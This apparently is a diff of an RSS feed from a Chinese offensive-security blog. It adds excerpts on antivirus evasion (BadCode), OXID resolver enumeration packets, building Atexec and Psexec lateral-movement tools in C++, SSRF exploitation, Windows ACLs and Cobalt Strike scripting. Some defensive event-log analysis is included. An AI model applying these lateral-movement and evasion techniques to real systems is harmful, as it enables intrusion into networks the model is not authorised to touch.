+</span></span><span style="display:flex;"><span>state ICMP{ +</span></span><span style="display:flex;"><span> ICMP: ping domain.com +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>那么,一般我们会尝试:</p>静态恶意代码逃逸(第七课)https://payloads.online/archivers/2020-10-23/1/Fri, 23 Oct 2020 00:00:00 +0000https://payloads.online/archivers/2020-10-23/1/<p>代码将会上传至Github,方便读者下载研究 : <a href="https://github.com/Rvn0xsy/BadCode">https://github.com/Rvn0xsy/BadCode</a></p> <h2 id="0x01-导入地址表iat">0x01 导入地址表(IAT)</h2> <blockquote> <p>Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。 - 来源百度百科</p> @@ -1034,7 +2038,19 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 -</span></code></pr这是一个充满挑战的好时代https://payloads.online/archivers/2020-08-24/1/Mon, 24 Aug 2020 00:00:00 +0000https://payloads.online/archivers/2020-08-24/1/<p>我经常会写一些不着边际的东西,从我博客文章就可以看出现在的风格,前言不搭后语、文章主体和内容松散不一,说来惭愧,文化程度不高,也想抽空读读书花点功夫补缺一下。</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_NOACCESS 0x01 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_READONLY 0x02 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_READWRITE 0x04 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_WRITECOPY 0x08 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE 0x10 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE_READ 0x20 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE_READWRITE 0x40 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define PAGE_EXECUTE_WRITECOPY 0x80 +</span></span></span></code></pre></td></tr></table> +</div> +</div><p>看一下<a href="https://github.com/Rvn0xsy/BadCode/blob/master/BadCode/Source.cpp">第一课代码</a>编译出来的PE导出表:</p>这是一个充满挑战的好时代https://payloads.online/archivers/2020-08-24/1/Mon, 24 Aug 2020 00:00:00 +0000https://payloads.online/archivers/2020-08-24/1/<p>我经常会写一些不着边际的东西,从我博客文章就可以看出现在的风格,前言不搭后语、文章主体和内容松散不一,说来惭愧,文化程度不高,也想抽空读读书花点功夫补缺一下。</p> <p>近期发生了很多的事儿,很多时候在晚上会产生一些感触,但是都没有把它们给记录下来,现在点来一支烟,慢慢回忆……</p> <h2 id="第一个思考我感受到了自动化时代的冲击">第一个思考:我感受到了自动化时代的冲击</h2> <p>听闻关于演练的消息,也就一天时间,不知消息真假的情况下开始推论参赛厂商的自动化覆盖程度,发现整个行业的意识形态已经建立,未来(或已经存在的)漏洞战争的趋势已经开始逼近。</p> @@ -1064,7 +2080,28 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 -</span></code></pr通过OXID解析器获取Windows远程主机上网卡地址https://payloads.online/archivers/2020-07-16/1/Thu, 16 Jul 2020 00:00:00 +0000https://payloads.online/archivers/2020-07-16/1/<h2 id="0x00-背景">0x00 背景</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>&gt; POST /handler/ HTTP/1.1 +</span></span><span style="display:flex;"><span>&gt; Host: 192.168.0.1 +</span></span><span style="display:flex;"><span>&gt; User-Agent: Mozilla/5.0 <span style="color:#f92672">(</span>Windows NT 10.0; Win64; x64<span style="color:#f92672">)</span> AppleWebKit/537.36 <span style="color:#f92672">(</span>KHTML, like Gecko<span style="color:#f92672">)</span> Chrome/84.0.4147.135 Safari/537.36 +</span></span><span style="display:flex;"><span>&gt; Accept: */* +</span></span><span style="display:flex;"><span>&gt; Content-Length: <span style="color:#ae81ff">8</span> +</span></span><span style="display:flex;"><span>&gt; Content-Type: application/x-www-form-urlencoded +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>data<span style="color:#f92672">={</span><span style="color:#e6db74">&#39;username&#39;</span>:<span style="color:#e6db74">&#39;code&#39;</span><span style="color:#f92672">}</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt; HTTP/1.1 <span style="color:#ae81ff">200</span> OK +</span></span><span style="display:flex;"><span>&lt; Content-Type: text/html +</span></span><span style="display:flex;"><span>&lt; Server: Microsoft-IIS/7.5 +</span></span><span style="display:flex;"><span>&lt; X-Powered-By: ASP.NET +</span></span><span style="display:flex;"><span>&lt; Date: Sun, <span style="color:#ae81ff">23</span> Aug <span style="color:#ae81ff">2020</span> 14:13:45 GMT +</span></span><span style="display:flex;"><span>&lt; Content-Length: <span style="color:#ae81ff">1163</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>.... +</span></span></code></pre></td></tr></table> +</div> +</div><p>假设<code>code</code>是代码输入点,如果要进行漏洞的发现或利用,大部分人可能比较倾向于提交执行的代码:</p>通过OXID解析器获取Windows远程主机上网卡地址https://payloads.online/archivers/2020-07-16/1/Thu, 16 Jul 2020 00:00:00 +0000https://payloads.online/archivers/2020-07-16/1/<h2 id="0x00-背景">0x00 背景</h2> <p>Nicolas Delhaye在AIRBUS上分享了一篇<a href="https://airbus-cyber-security.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/">The OXID Resolver [Part 1] – Remote enumeration of network interfaces without any authentication</a>,通过这篇文章我们可以掌握通过Windows的一些DCOM接口进行网卡进行信息枚举,它最大的魅力在于无需认证,只要目标的135端口开放即可获得信息。</p> <h2 id="0x01-oxid-resolver---交互过程分析">0x01 OXID Resolver - 交互过程分析</h2> <p>OXID Resolver是在支持COM +的每台计算机上运行的服务。</p> @@ -1088,7 +2125,28 @@ <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> <table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 -</span></code></pr如何实现一个Atexechttps://payloads.online/archivers/2020-06-28/1/Sun, 28 Jun 2020 00:00:00 +0000https://payloads.online/archivers/2020-06-28/1/<h2 id="0x01-atexec一种横向方式">0x01 Atexec,一种横向方式</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00 +</span></span></code></pre></td></tr></table> +</div> +</div><p>第二个数据包:</p> +<p>这个包无需关注,因为我们最终要获得的是第四个数据包。</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>&#34;\x05\x00\x0c\x03\x10\x00\x00\x00\x3c\x00\x00\x00\x01\x00\x00\x00&#34; \ +</span></span><span style="display:flex;"><span>&#34;\xb8\x10\xb8\x10\x0a\x13\x00\x00\x04\x00\x31\x33\x35\x00\x00\x00&#34; \ +</span></span><span style="display:flex;"><span>&#34;\x01\x00\x00\x00\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11&#34; \ +</span></span><span style="display:flex;"><span>&#34;\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00&#34; +</span></span></code></pre></td></tr></table> +</div> +</div><p>可以选中对应的节点,直接复制<code>... as Escaped String</code>,这样就能够拿到十六进制Code。</p>如何实现一个Atexechttps://payloads.online/archivers/2020-06-28/1/Sun, 28 Jun 2020 00:00:00 +0000https://payloads.online/archivers/2020-06-28/1/<h2 id="0x01-atexec一种横向方式">0x01 Atexec,一种横向方式</h2> <p>Atexec是一个除了Psexec以外,被高频使用的横向方式,该技术手段主要通过任务计划实现,与<strong>时间</strong>有关。</p> <p>Atexec的主要特点是通过135端口进行任务计划任务的创建,同时通过445端口进行SMB认证,取回命令执行的结果。</p> <h2 id="0x02-执行过程">0x02 执行过程</h2> @@ -1139,7 +2197,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 -</span></code></pr如何实现一个Psexechttps://payloads.online/archivers/2020-04-02/1/Thu, 02 Apr 2020 00:00:00 +0000https://payloads.online/archivers/2020-04-02/1/<h2 id="0x01-psexec">0x01 Psexec</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-cpp" data-lang="cpp"><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">ConnectTaskServer</span>(LPCWSTR lpwsHost, LPCWSTR lpwDomain,LPCWSTR lpwsUserName, LPCWSTR lpwsPassword) { +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 初始化COM组件 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> CoInitializeEx(NULL, COINIT_MULTITHREADED); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 设置组件安全等级 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> CoInitializeSecurity(NULL, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 创建任务服务容器 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, IID_ITaskService, (<span style="color:#66d9ef">void</span><span style="color:#f92672">**</span>)<span style="color:#f92672">&amp;</span>pService); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 连接目标服务器为远程连接或本地服务器 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hr <span style="color:#f92672">=</span> pService<span style="color:#f92672">-&gt;</span>Connect(_variant_t(lpwsHost), _variant_t(lpwsUserName), _variant_t(lpwDomain), _variant_t(lpwsPassword)); <span style="color:#75715e">//默认本地 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#66d9ef">if</span> (FAILED(hr)) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span> printf(<span style="color:#e6db74">&#34;ITaskService::Connect failed: %x </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, hr); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> pService<span style="color:#f92672">-&gt;</span>Release(); +</span></span><span style="display:flex;"><span> CoUninitialize(); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> FALSE; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p><a href="https://docs.microsoft.com/en-us/windows/win32/api/_taskschd/">Task Scheduler</a>提供了许多函数及接口来操作任务计划,但是凡是涉及COM组件的操作,都变得有些复杂,但至少实现Atexec涉及到的知识点并不多。</p>如何实现一个Psexechttps://payloads.online/archivers/2020-04-02/1/Thu, 02 Apr 2020 00:00:00 +0000https://payloads.online/archivers/2020-04-02/1/<h2 id="0x01-psexec">0x01 Psexec</h2> <p>Psexec被编写的初衷是为了方便服务器管理员管理大量的机器而开发的,但由于它的便捷,同时也被黑客使用。</p> <p>相信很多人都用过Psexec这款工具了,它由Sysinternals网站提供,Sysinternals这个网站由Mark Russinovich于1996年创建,用于托管他的高级系统实用程序和技术信息。</p> <p>下载地址:<a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></p> @@ -1160,7 +2241,59 @@ </span></code></pre></td> <td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>.\PsExec.exe \\192.168.3.130 -u administrator -p 123456 cmd -</span></span></code></prSSRF漏洞配合Flask的巧妙利用 - 内网漫游https://payloads.online/archivers/2020-03-21/2/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/2/<h2 id="ssrf-服务器请求伪造">SSRF 服务器请求伪造</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/9a80481e-4f5f-11ec-8868-00d861bf4abb.png" alt="2020-04-01-14-28-01"> + +</p> +<h3 id="查看安全日志">查看安全日志</h3> +<p>打开Win2008日志查看器,先查看安全(Security)日志:</p> +<p> + <img src="https://images.payloads.online/9ac1e990-4f5f-11ec-b8c6-00d861bf4abb.png" alt="2020-04-01-14-28-34"> + +</p> +<p>从日志查看器能够看到产生了多个安全审核日志,事件ID:4624,并且能够看到来源IP以及计算机名。</p> +<p><strong>认证类型NTLM:</strong></p> +<p> + <img src="https://images.payloads.online/9afc8960-4f5f-11ec-8a5c-00d861bf4abb.png" alt="2020-04-01-14-28-52"> + +</p> +<p>接着,还有事件ID为4648的日志,该条目的解释是:</p> +<blockquote> +<p>在进程尝试通过显式指定帐户的凭据来登录该帐户时生成此事件。这通常发生在批量类型的配置中(例如计划任务) 或者使用 RUNAS 命令时。</p> +</blockquote> +<p> + <img src="https://images.payloads.online/9b30adee-4f5f-11ec-bc7e-00d861bf4abb.png" alt="2020-04-01-14-29-07"> + +</p> +<p>可以看到很明显的PSEXECSVC.exe这个程序被启动。</p> +<p><strong>目前可以猜测:先进行Windows 认证,然后产生PSEXESVC.exe并启动。</strong></p> +<h3 id="查看系统日志">查看系统日志</h3> +<p> + <img src="https://images.payloads.online/9b70eecc-4f5f-11ec-8f84-00d861bf4abb.png" alt="2020-04-01-14-29-20"> + +</p> +<p>事件ID:7045向系统报告了一个名为“PSEXESVC”的服务被安装,同时紧接着事件ID:7036报告“PSEXESVC服务已经启动”。</p> +<p> + <img src="https://images.payloads.online/9bb77ac2-4f5f-11ec-9ed2-00d861bf4abb.png" alt="2020-04-01-14-29-34"> + +</p> +<p>通过事件ID报告的顺序,我们大致了解了PsEXEC的动作。</p> +<ol> +<li>事件ID:4624</li> +<li>事件ID:4648</li> +<li>事件ID:7045</li> +<li>事件ID:7036</li> +</ol> +<p>当PsExec执行exit退出交互式命令行后,会向系统报告事件ID:4634注销事件、事件ID:7036 PSEXESVC服务停止。</p> +<h2 id="0x03-从网络分析psexec利用过程">0x03 从网络分析Psexec利用过程</h2> +<p> + <img src="https://images.payloads.online/9bfb4126-4f5f-11ec-b938-00d861bf4abb.png" alt="2020-04-01-14-30-06"> + +</p> +<p>这里我使用Wireshark抓包工具,捕获了整个Psexec建立网络连接到exit退出的整个过程。</p> +<p>认证大致流程:</p>SSRF漏洞配合Flask的巧妙利用 - 内网漫游https://payloads.online/archivers/2020-03-21/2/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/2/<h2 id="ssrf-服务器请求伪造">SSRF 服务器请求伪造</h2> <p>SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。</p> <h3 id="常见的功能点">常见的功能点</h3> <p> @@ -1198,7 +2331,30 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 -</span></code></prWindows特权提升漏洞-符号https://payloads.online/archivers/2020-03-21/1/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/1/<h2 id="0x01-windows-特权提升漏洞分类">0X01 Windows 特权提升漏洞分类</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>POST /application/services/proxy/doPostAndGet HTTP/1.1 +</span></span><span style="display:flex;"><span>Host: app.domain.com +</span></span><span style="display:flex;"><span>Connection: keep-alive +</span></span><span style="display:flex;"><span>Content-Length: XX +</span></span><span style="display:flex;"><span>Content-Type: application/json +</span></span><span style="display:flex;"><span>Accept: */* +</span></span><span style="display:flex;"><span>Referer: http://app.domain.com/application/portal/ +</span></span><span style="display:flex;"><span>Accept-Encoding: gzip, deflate +</span></span><span style="display:flex;"><span>Accept-Language: zh-CN,zh;q=0.9 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> &#34;url&#34;:&#34;http://domain.com/sso?login&#34;, +</span></span><span style="display:flex;"><span> &#34;method&#34;:&#34;post&#34;, +</span></span><span style="display:flex;"><span> &#34;jsonBody&#34;:&#34;{\&#34;username\&#34;:\&#34;123456\&#34;}&#34; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="flask-框架">Flask 框架</h2> +<p> + <img src="https://images.payloads.online/9685f1a0-4f5f-11ec-b8a6-00d861bf4abb.png" alt="2020-03-21-17-02-11"> + +</p>Windows特权提升漏洞-符号https://payloads.online/archivers/2020-03-21/1/Sat, 21 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-21/1/<h2 id="0x01-windows-特权提升漏洞分类">0X01 Windows 特权提升漏洞分类</h2> <p>Windows 特权提升相信大家已经不陌生了,常见的场景如:NETWORK SERVICE → SYSTEM</p> <p>但从漏洞原理去了解,会发现利用漏洞利用本就是一个“使程序逻辑不按照正常方向运转”的过程。</p> <p>许多需要构建多个苛刻条件的Windows底层漏洞发现绝非偶然,也有许多Windows漏洞的发现是纯属偶然,它们是那么的容易可以利用,并且危害巨大。</p> @@ -1229,10 +2385,30 @@ <li>一个位标记,指示了这个ACE的类型;</li> <li>一组位标记,指示了安全描述符所属对象的子对象是否继承这个ACE;</li> </ol> -<p>所有的可访问对象都有三种ACE,分别是Access-denied ACE,Access-allowed ACE,System-audit ACE。Access-denied ACE用于拒绝账户访问,Access-allowed ACE用于允许账户访问,而System-audit ACE用于SACL中。</p>Cobalt Strike Aggressor Script (第一课)https://payloads.online/archivers/2020-03-02/4/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/4/<h2 id="前言">前言</h2> -<p>在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。</p> -<p>起初我刚接触Cobalt Strike时,觉得非常不习惯,从Metasploit萌新走来,觉得这个图形化软件远远比不上Metasploit的模块丰富,后经过长时间的使用以及研究,从这个项目中学习到了很多技术,被开发者的思想所折服,应该算比较超前的一款值得学习的平台了。</p> -<h2 id="aggressor-script">Aggressor Script</h2> +<p>所有的可访问对象都有三种ACE,分别是Access-denied ACE,Access-allowed ACE,System-audit ACE。Access-denied ACE用于拒绝账户访问,Access-allowed ACE用于允许账户访问,而System-audit ACE用于SACL中。</p> +<p><em>当一个线程尝试去访问一个对象时,系统会检查线程持有的令牌以及被访问对象的安全描述符中的DACL。如果安全描述符中不存在DACL,则系统会允许线程进行访问。</em></p> +<p> + <img src="https://images.payloads.online/987be79e-4f5f-11ec-9011-00d861bf4abb.png" alt="2020-03-21-16-51-32"> + +</p> +<p>如果存在DACL,系统会顺序遍历DACL中的每个ACE,检查ACE中的SID在线程的令牌中是否存在。</p> +<p>当满足以下条件时,遍历会终止:</p> +<p>某个Access-denied ACE中的SID在线程令牌中存在,而且该ACE中的权限与线程要求的权限相符,此时系统拒绝该线程访问对象。</p> +<p>某个Access-allowed ACE中的SID在线程令牌中存在,而且该ACE中的权限与线程要求的权限相符,此时系统允许线程访问对象。所有ACE中的SID在线程令牌中均不存在,此时系统拒绝线程访问对象。</p> +<p>下图是转自MSDN的,Object对象的DACL中含有三个ACE:</p> +<ol> +<li>第一个ACE拒绝Andrew账户对Object进行读取,写入和执行操作;</li> +<li>第二个ACE允许Group A账户组中的所有账户对Object进行写入操作;</li> +<li>第三个ACE允许任何账户对Object进行读取和执行操作;</li> +</ol> +<p> + <img src="https://images.payloads.online/98c67232-4f5f-11ec-8ed9-00d861bf4abb.png" alt="2020-03-21-16-51-52"> + +</p> +<p>线程A试图访问Object,在遍历DACL的时候,遇到第一个ACE,满足上述的条件,遍历终止,线程A被拒绝访问Object,尽管线程A的访问令牌中含有Group A账户组的SID,并满足第二个ACE。同理,第三个ACE也没有被检查。对于线程B的分析是一样的,这里就不啰嗦了。可见ACE的排列顺序对线程能否访问对象是很重要的。</p>Cobalt Strike Aggressor Script (第一课)https://payloads.online/archivers/2020-03-02/4/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/4/<h2 id="前言">前言</h2> +<p>在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。</p> +<p>起初我刚接触Cobalt Strike时,觉得非常不习惯,从Metasploit萌新走来,觉得这个图形化软件远远比不上Metasploit的模块丰富,后经过长时间的使用以及研究,从这个项目中学习到了很多技术,被开发者的思想所折服,应该算比较超前的一款值得学习的平台了。</p> +<h2 id="aggressor-script">Aggressor Script</h2> <p>Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言,由<a href="http://sleep.dashnine.org/manual">Sleep语言</a>解析,Cobalt Strike 3.0以上版本的菜单、选项、事件都由default.cna构建。红队人员可以通过它来调用一些IRC、Webhook接口去对接机器人,实现自动化渗透与监控,Aggressor Script是Cobalt Strike这款C2平台的画龙点睛之笔。</p> <p>对于Python、C/C++爱好者来说,Sleep语言一开始接触的时候感觉很奇怪,会有很多想吐槽的点,但久而久之,就会发现它的便捷之处。</p> <h2 id="安装sleep语言环境">安装Sleep语言环境</h2> @@ -1263,7 +2439,35 @@ <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 -</span></code></prCobalt Strike Aggressor Script (第二课)https://payloads.online/archivers/2020-03-02/5/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/5/<p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span># create a List +</span></span><span style="display:flex;"><span>@foo = @(&#39;foo&#39;,123.0,&#39;bar&#39;); +</span></span><span style="display:flex;"><span>println(@foo[0]) +</span></span></code></pre></td></tr></table> +</div> +</div><p> + <img src="https://images.payloads.online/914ebd7a-4f5f-11ec-929e-00d861bf4abb.png" alt="2020-03-01-11-37-53"> + +</p> +<p>遍历:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-gdscript3" data-lang="gdscript3"><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">@</span>foo <span style="color:#f92672">=</span> <span style="color:#960050;background-color:#1e0010">@</span>(<span style="color:#e6db74">&#39;foo&#39;</span>,<span style="color:#ae81ff">123.0</span>,<span style="color:#e6db74">&#39;bar&#39;</span>); +</span></span><span style="display:flex;"><span>foreach <span style="color:#f92672">$</span><span style="color:#66d9ef">var</span> (<span style="color:#960050;background-color:#1e0010">@</span>foo) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> println(<span style="color:#f92672">$</span><span style="color:#66d9ef">var</span>); +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>Stacks 栈 - “后进先出”</p>Cobalt Strike Aggressor Script (第二课)https://payloads.online/archivers/2020-03-02/5/Mon, 02 Mar 2020 00:00:00 +0000https://payloads.online/archivers/2020-03-02/5/<p> <img src="https://images.payloads.online/928c40c2-4f5f-11ec-83fc-00d861bf4abb.png" alt=""> </p> @@ -1286,7 +2490,28 @@ </span></span><span style="display:flex;"><span> }); </span></span><span style="display:flex;"><span> separator(); #分割线 